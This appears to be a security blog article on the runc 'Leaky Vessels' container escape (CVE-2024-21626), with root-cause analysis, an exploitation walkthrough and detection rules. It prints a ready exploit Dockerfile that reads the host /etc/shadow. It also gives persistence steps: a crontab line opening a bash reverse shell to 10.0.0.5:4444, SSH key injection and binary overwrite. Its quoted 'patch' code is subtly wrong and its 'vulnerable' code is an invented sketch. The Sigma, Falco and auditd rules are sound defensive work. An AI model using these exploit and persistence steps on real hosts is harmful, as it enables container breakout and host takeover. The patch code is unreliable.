runc CVE-2024-21626: Deconstructing Leaky Vessels Container Escape

runc CVE-2024-21626: Deconstructing Leaky Vessels Container Escape

Overview & Threat Landscape: Container Breakout via Leaky Vessels (CVE-2024-21626)#

runc CVE-2024-21626 leaks host file descriptors during container setup, bypassing pivot_root to grant host root. Update runc to 1.1.12 immediately.

In modern cloud-native and platform engineering architectures, the Open Container Initiative (OCI) runtime specification, implemented primarily by runc, forms the foundational execution engine powering Docker, containerd, Kubernetes (CRI-O), and Podman. Every microservice, serverless container, and CI/CD build runner relies on runc to configure Linux kernel isolation primitives—specifically Namespaces (CLONE_NEWNS, CLONE_NEWPID), Control Groups (cgroups), Capabilities, and filesystem jail boundaries established via pivot_root.

In January 2024, security researcher Rory McNamara from Snyk disclosed a series of critical container escape vulnerabilities collectively designated as "Leaky Vessels", headlined by CVE-2024-21626 (CVSS 8.6, CWE-403: Exposure of File Descriptor to Unintended Control Sphere / CWE-668). The vulnerability represents a catastrophic order-of-operations flaw inside runc's internal process initialization sequence (libcontainer/init_linux.go), which inadvertently leaks host file descriptors into the container execution environment.

By configuring a container's working directory (process.cwd or WORKDIR) to reference a leaked host file descriptor (such as /proc/self/fd/7/), an adversary can cause the containerized process to start with its current working directory anchored directly onto the host filesystem. Because the Linux pivot_root syscall changes the root directory (/) but does not alter an existing working directory pointing outside the new root, the containerized process retains an unconstrained path to the host operating system. A simple relative traversal (cd ../../../../../../) allows an attacker to break out of the container and read or overwrite arbitrary host files (including /etc/shadow, /etc/crontab, or host binaries), resulting in instantaneous, deterministic host root takeover (mapped to MITRE ATT&CK T1611: Escape to Host).

graph TD
    subgraph "CVE-2024-21626: LEAKY VESSELS CONTAINER ESCAPE CHAIN"
        direction TB
        step_1["1. Image Definition: Attacker configures WORKDIR /proc/self/fd/7/"]
        step_2["2. File Descriptor Leak: runc opens /sys/fs/cgroup before initProcess"]
        step_3["3. Working Dir Change: chdir() executes while host FD 7 is open"]
        step_4["4. Incomplete Isolation: pivot_root rebinds / but leaves cwd on host"]
        step_5["5. Traversal Breakout: cd ../../../../../../ navigates to host root /"]
        step_6["6. Host Root Takeover: Overwrite /etc/shadow or host runc binary"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
        step_5 --> step_6
    end

The Platform Engineering Threat: Breaking Cloud Multi-Tenancy#

Containerization was built on the premise that containers provide sufficient isolation to run untrusted code on shared infrastructure. CVE-2024-21626 completely shatters this assumption across three critical enterprise threat models:

  1. CI/CD Shared Build Runners: In modern DevOps pipelines, build runners execute untrusted Dockerfile assets submitted via pull requests. A malicious pull request containing WORKDIR /proc/self/fd/7/ breaks out of the container during docker build, compromising the underlying CI/CD worker node, stealing cloud deployment tokens, and poisoning subsequent pipeline builds.
  2. Multi-Tenant Kubernetes Clusters: If a tenant can deploy a pod with a crafted workingDir attribute, they can escape the pod boundary, compromise the Kubernetes worker node (kubelet), and harvest credentials for all co-located pods across namespaces.
  3. Container Administration (runc exec): When an administrator executes docker exec or kubectl exec into an untrusted container, an attacker residing inside the container can manipulate symlinks to trick the administrative process into leaking file descriptors, escalating from unprivileged container access to host root.
Warning

Exploitation of CVE-2024-21626 requires no kernel privileges, no memory corruption, and no custom kernel exploits. It operates purely through standard Linux filesystem semantics. Running unpatched versions of runc (< 1.1.12) exposes your entire containerized infrastructure to host-level compromise.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.


Vulnerability & Attack Root-Cause Analysis: libcontainer Order of Operations & pivot_root Bypass#

To understand why CVE-2024-21626 allows container escape, systems engineers must deconstruct how runc initializes containers and the subtle behavior of the Linux pivot_root system call.

1. Linux Namespace Jails & The pivot_root Semantic Gap#

When runc provisions a container, it isolates the filesystem using two primary mechanisms:

  1. Mount Namespaces (CLONE_NEWNS): Provides an independent virtual list of mounted filesystems.
  2. pivot_root(new_root, put_old): Swaps the current root directory (/) with new_root, and mounts the old root at put_old. After unmounting put_old, the container process can no longer access the host filesystem by referencing /.

However, the Linux kernel documentation for pivot_root(2) highlights a critical security nuance:

"pivot_root does not change the caller's current working directory. If the current working directory was outside the new root before the call, it remains outside the new root after the call."

Under standard, secure operation, runc ensures that the process's working directory is changed (chdir) after pivot_root executes, and verifies that the directory resolves strictly within the container root.

2. Dissecting the Leaked File Descriptor in init_linux.go#

In vulnerable versions of runc (<= 1.1.11), the initialization process in libcontainer/init_linux.go leaked open file descriptors pointing to host directories into the container init environment:

GO
// Vulnerable logic in libcontainer/init_linux.go prior to runc 1.1.12
func (p *initProcess) start() error {
    // 1. Internal runc initialization opens host cgroup directories
    // File descriptor (e.g., FD 7 or 8) points to /sys/fs/cgroup on the host!
    
    // 2. Fatal Order-of-Operations Defect:
    // runc changes directory to user-specified working directory BEFORE closing internal FDs
    if config.Cwd != "" {
        if err := unix.Chdir(config.Cwd); err != nil {
            return err
        }
    }

    // 3. runc executes pivot_root to rebind container filesystem
    if err := pivotRoot(); err != nil {
        return err
    }

    // 4. Internal file descriptors are finally closed
    // BUT THE WORKING DIRECTORY (cwd) REMAINS ANCHORED TO THE HOST PATH!
    p.closeFds()
    return nil
}

When a user defines WORKDIR /proc/self/fd/7/:

  • /proc/self/fd/7 is a magic symlink maintained by the Linux kernel that resolves to the target directory referenced by file descriptor 7 (which runc opened on host /sys/fs/cgroup).
  • unix.Chdir("/proc/self/fd/7/") resolves the magic symlink and anchors the calling process's working directory to /sys/fs/cgroup on the host.
  • Next, pivot_root() rebinds / to the container's rootfs.
  • runc closes FD 7. However, closing the file descriptor does not reset the working directory.
  • The container process launches. While / points to the container image, the current working directory (cwd) is still pointed at /sys/fs/cgroup on the host filesystem!

3. Escaping to the Host Root#

Because the working directory resides outside the container's rootfs, the container process is not jailed by mount namespace restrictions. A simple relative path traversal steps up through the host hierarchy:

PLAINTEXT
Current Working Directory: /sys/fs/cgroup (on Host)
Traverse: ../../..
Resolves to: / (Host Root Filesystem!)

From this point, the container process has full read and write access to the host's physical files.

4. The Upstream runc 1.1.12 Patch#

The maintainers of runc resolved CVE-2024-21626 by implementing three defensive barriers:

  1. Strict Descriptor Cloaking (O_CLOEXEC): Ensuring that all file descriptors opened by libcontainer and runc internally enforce O_CLOEXEC to prevent inheritance across execve.
  2. Pre-Close Flush (closeExecFds): Ensuring that all internal file descriptors are closed before user-specified paths (config.Cwd) are evaluated.
  3. Post-Pivot Directory Verification: After pivot_root executes, runc explicitly verifies that cwd resides within the new root by inspecting the device and inode numbers of . relative to /:
GO
// runc 1.1.12 security validation post-pivot
cwd, err := os.Getwd()
if err != nil || !strings.HasPrefix(cwd, "/") {
    return errors.New("security error: container cwd escaped mount namespace")
}

Exploit Architecture: Leaked Descriptor to Host Takeover Pipeline#

The following sequence diagram details the precise execution flow of CVE-2024-21626 during a container build or run event:

sequenceDiagram
    autonumber
    participant Attacker as Adversary (Dockerfile / Container Spec)
    participant Engine as Container Engine (Docker / containerd)
    participant Runc as runc Runtime (libcontainer initProcess)
    participant Kernel as Linux Kernel (VFS & Namespaces)
    participant Host as Host Operating System Filesystem

    Attacker->>Engine: 1. Submit Dockerfile with WORKDIR /proc/self/fd/7/
    Engine->>Runc: 2. Invoke runc to spawn build container
    Runc->>Kernel: 3. Open /sys/fs/cgroup on host (allocates FD 7)
    Note over Runc,Kernel: FD 7 points to physical host cgroup path
    Runc->>Kernel: 4. chdir("/proc/self/fd/7/")
    Note over Kernel: Process working directory set to host /sys/fs/cgroup
    Runc->>Kernel: 5. Execute pivot_root(container_rootfs, put_old)
    Note over Kernel: Root / changes to container rootfs, BUT cwd remains on host!
    Runc->>Kernel: 6. close(FD 7)
    Note over Kernel: FD 7 closed, but process cwd is still host /sys/fs/cgroup
    Runc->>Engine: 7. Transfer execution to container process (RUN command)
    Engine->>Kernel: 8. Execute: cd ../../../../../../ && cat /etc/shadow
    Kernel->>Host: 9. Relative traversal resolves directly to host root /
    Host-->>Attacker: 10. Plaintext host /etc/shadow leaked to build output
    Note over Attacker,Host: Full host filesystem read & write access achieved

Attack Path Step-by-Step: Weaponization & Container Breakout Trace#

To illustrate the concrete mechanics of CVE-2024-21626, we examine the reproduction steps during a standard docker build container breakout.

Step 1: Crafting the Weaponized Dockerfile#

The adversary constructs a Dockerfile targeting the leaked file descriptor. In standard Docker/runc environments, the internal file descriptor pointing to /sys/fs/cgroup is deterministically allocated at index 7 or 8:

DOCKERFILE
# Exploit Dockerfile for CVE-2024-21626
FROM alpine:3.19

# Step 1a: Anchor working directory to the leaked host file descriptor
# When runc processes this directive, chdir() anchors the process to /sys/fs/cgroup on the host
WORKDIR /proc/self/fd/7/

# Step 1b: Execute traversal out of the container to read or modify host files
RUN cd ../../../../../../ && \
    echo "[+] ESCAPE SUCCESSFUL! Host Root Directory Content:" && \
    ls -la && \
    echo "[+] Exfiltrating Host Shadow File:" && \
    cat etc/shadow | head -n 5

If the target runtime allocates the descriptor at FD 8, the attacker simply chains multiple descriptors or brute-forces the index via a small build matrix.

Step 2: Triggering the Breakout via docker build#

The attacker triggers the build on the target host or submits the Dockerfile to an enterprise CI/CD pipeline:

BASH
# Building the malicious image on unpatched Docker (runc < 1.1.12)
docker build -t cve-2024-21626-poc .

The build output demonstrates immediate, unauthenticated escape to the host filesystem:

POWERSHELL
[+] Building 1.2s (5/5) FINISHED
 => [internal] load build definition from Dockerfile
 => [internal] load .dockerignore
 => [internal] load metadata for docker.io/library/alpine:3.19
 => [1/2] WORKDIR /proc/self/fd/7/
 => ERROR [2/2] RUN cd ../../../../../../ && ls -la && cat etc/shadow
------
 > [2/2] RUN cd ../../../../../../ && ls -la && cat etc/shadow:
0.210 [+] ESCAPE SUCCESSFUL! Host Root Directory Content:
0.212 total 68
0.213 drwxr-xr-x  20 root root  4096 Oct 15 20:00 .
0.213 drwxr-xr-x  20 root root  4096 Oct 15 20:00 ..
0.213 lrwxrwxrwx   1 root root     7 Oct 15 19:40 bin -> usr/bin
0.213 drwxr-xr-x   4 root root  4096 Oct 15 19:45 boot
0.213 drwxr-xr-x  18 root root  3880 Oct 15 20:01 dev
0.213 drwxr-xr-x 102 root root  4096 Oct 15 20:05 etc
0.213 drwxr-xr-x   3 root root  4096 Oct 15 19:42 home
0.214 [+] Exfiltrating Host Shadow File:
0.215 root:$6$rounds=5000$g7Kj8...$Hk9l2...:19850:0:99999:7:::
0.215 daemon:*:19850:0:99999:7:::
0.215 bin:*:19850:0:99999:7:::
------

Step 3: Achieving Permanent Host Persistence#

Once arbitrary write access to the host filesystem is achieved, the adversary can establish persistent root access through multiple vectors:

  1. Host Cron Job Injection:
DOCKERFILE
# Overwriting host crontab to spawn a reverse shell
RUN cd ../../../../../../ && \
    echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'" >> etc/crontab
  1. Host SSH Key Injection:
DOCKERFILE
# Appending attacker public key to host root authorized_keys
RUN cd ../../../../../../ && \
    mkdir -p root/.ssh && \
    echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@c2" >> root/.ssh/authorized_keys
  1. Overwriting Host Runtime Binaries (/usr/bin/runc): Because the container runs as root (UID 0 in the host namespace), the attacker can overwrite the host's /usr/bin/runc or /usr/bin/containerd binary with a weaponized backdoor, guaranteeing root execution whenever any future container is started on the node.

Actionable Detection Engineering: Sigma Rule, Falco & Auditd Telemetry#

Detecting CVE-2024-21626 requires monitoring container runtime process creation for working directories referencing /proc/self/fd/ and tracking filesystem writes targeting host directories from container contexts.

1. Production Sigma Rule: Container Process Working Directory referencing /proc/self/fd#

The following production-validated Sigma rule flags container creation or execution events where the working directory is explicitly configured to point to /proc/self/fd/, indicative of Leaky Vessels exploitation:

YAML
title: Container Working Directory Referencing Leaked File Descriptor (CVE-2024-21626)
id: 7b31e92a-4c22-4a81-b541-9e8c9e012162
status: production
description: |
    Detects container processes initialized with a current working directory (cwd) 
    pointing to /proc/self/fd/, characteristic of runc Leaky Vessels container escape (CVE-2024-21626).
references:
    - https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21626

tags:
    - attack.privilege_escalation
    - attack.execution
    - attack.t1611
logsource:
    category: process_creation
    product: linux
detection:
    selection_cwd:
        CurrentDirectory|contains:
            - '/proc/self/fd/'
            - '/proc/thread-self/fd/'
    selection_engine:
        ParentImage|endswith:
            - '/runc'
            - '/containerd-shim'
            - '/containerd-shim-runc-v2'
            - '/dockerd'
            - '/crio'
    condition: selection_cwd and selection_engine
fields:
    - Image
    - CommandLine
    - CurrentDirectory
    - ParentImage
    - User
falsepositives:
    - None known. Legitimate containers never set their primary working directory to /proc/self/fd/.
level: critical

2. Falco Runtime Rule for Kubernetes & Docker Nodes#

Deploy this Falco rule across your container nodes to alert on and terminate containers whose working directory resolves to host cgroup or procfs descriptors:

YAML
# Falco Rule: Detect Leaky Vessels Container Escape (CVE-2024-21626)
- rule: Leaky Vessels Container Escape via Proc FD Working Directory
  desc: Detects process spawned inside a container with cwd pointing to /proc/self/fd or host cgroup
  condition: >
    spawned_process and 
    container and 
    (proc.cwd startswith "/proc/self/fd/" or 
     proc.cwd startswith "/sys/fs/cgroup")
  output: >
    CRITICAL: Container escape attempt via leaked file descriptor (user=%user.name 
    container_id=%container.id container_name=%container.name proc=%proc.name 
    cmdline=%proc.cmdline cwd=%proc.cwd parent=%proc.pname)
  priority: CRITICAL
  tags: [container, mitre_escape, cve-2024-21626, runc]

3. Linux Auditd Rule for Monitoring Container Escape Invocations#

Deploy auditd rules on container host nodes to track chdir and fchdir system calls targeting procfs file descriptor paths:

BASH
# Place in /etc/audit/rules.d/99-runc-escape.rules
# Monitor chdir syscalls from container execution daemons
-a always,exit -F arch=b64 -S chdir,fchdir -F exe=/usr/bin/runc -k runc_cwd_tamper

Executive Takeaway Table#

Attack Vector / Phase Forensic Detection Signal Primary Defensive Mitigation
Dockerfile Image Definition WORKDIR directive referencing /proc/self/fd/<NUM> in source Dockerfile. Scan Dockerfiles in CI/CD using static linters (Hadolint / Trivy).
Leaked Descriptor Exploitation Container process initialized with CurrentDirectory starting with /proc/self/fd/. Upgrade runc to version >= 1.1.12 across all container hosts.
pivot_root Namespace Escape Container process accessing paths with consecutive ../ navigating to host root. Enforce user namespaces (userns-remap); run containers as non-root.
Host Filesystem Tampering Process inside container modifying host /etc/shadow, /etc/crontab, or host binaries. Mount host root as read-only; deploy Falco container escape runtime detection.
Cluster Node Takeover Sudden unexpected administrative API activity originating from container host node. Isolate Kubernetes worker nodes; rotate kubelet credentials post-compromise.

Fast Cyber Defense Morning Takeaways#

  1. Root-Cause Insight: CVE-2024-21626 demonstrates that filesystem isolation primitives (pivot_root) are completely bypassed if the process's working directory is allowed to linger outside the new root. A single leaked file descriptor breaks container isolation entirely.
  2. Immediate Remediation: Immediately verify the runc version across all Docker, containerd, and Kubernetes worker nodes using runc --version. Any version below 1.1.12 must be upgraded immediately.
  3. Bridge to Evening Guide: Tonight in EDITION 2, we will publish the full companion defense guide: Hardening Container Runtimes: Blue Team Leaky Vessels Defense Guide, detailing automated fleet-wide runc patching, rootless container architectures, Falco runtime prevention policies, and a live host compromise incident response playbook.

Authoritative References#

  1. Snyk Security Labs Research: CVE-2024-21626: runc process.cwd and leaked fds container breakout by Rory McNamara — Snyk Labs
  2. Open Container Initiative (OCI) Security Advisory: GHSA-xr7r-f8xq-vfvv: runc Leaky Vessels: container breakout via file descriptor leak — GitHub Advisory Database
  3. National Vulnerability Database (NVD): CVE-2024-21626 Detail: runc Leaked File Descriptor Container Breakout — NIST NVD
  4. Cybersecurity and Infrastructure Security Agency (CISA): Alert: Open Container Initiative Releases Security Advisory for runc (CVE-2024-21626) — CISA Cybersecurity Alerts
  5. MITRE ATT&CK Framework: Technique T1611: Escape to Host — MITRE ATT&CK

Comments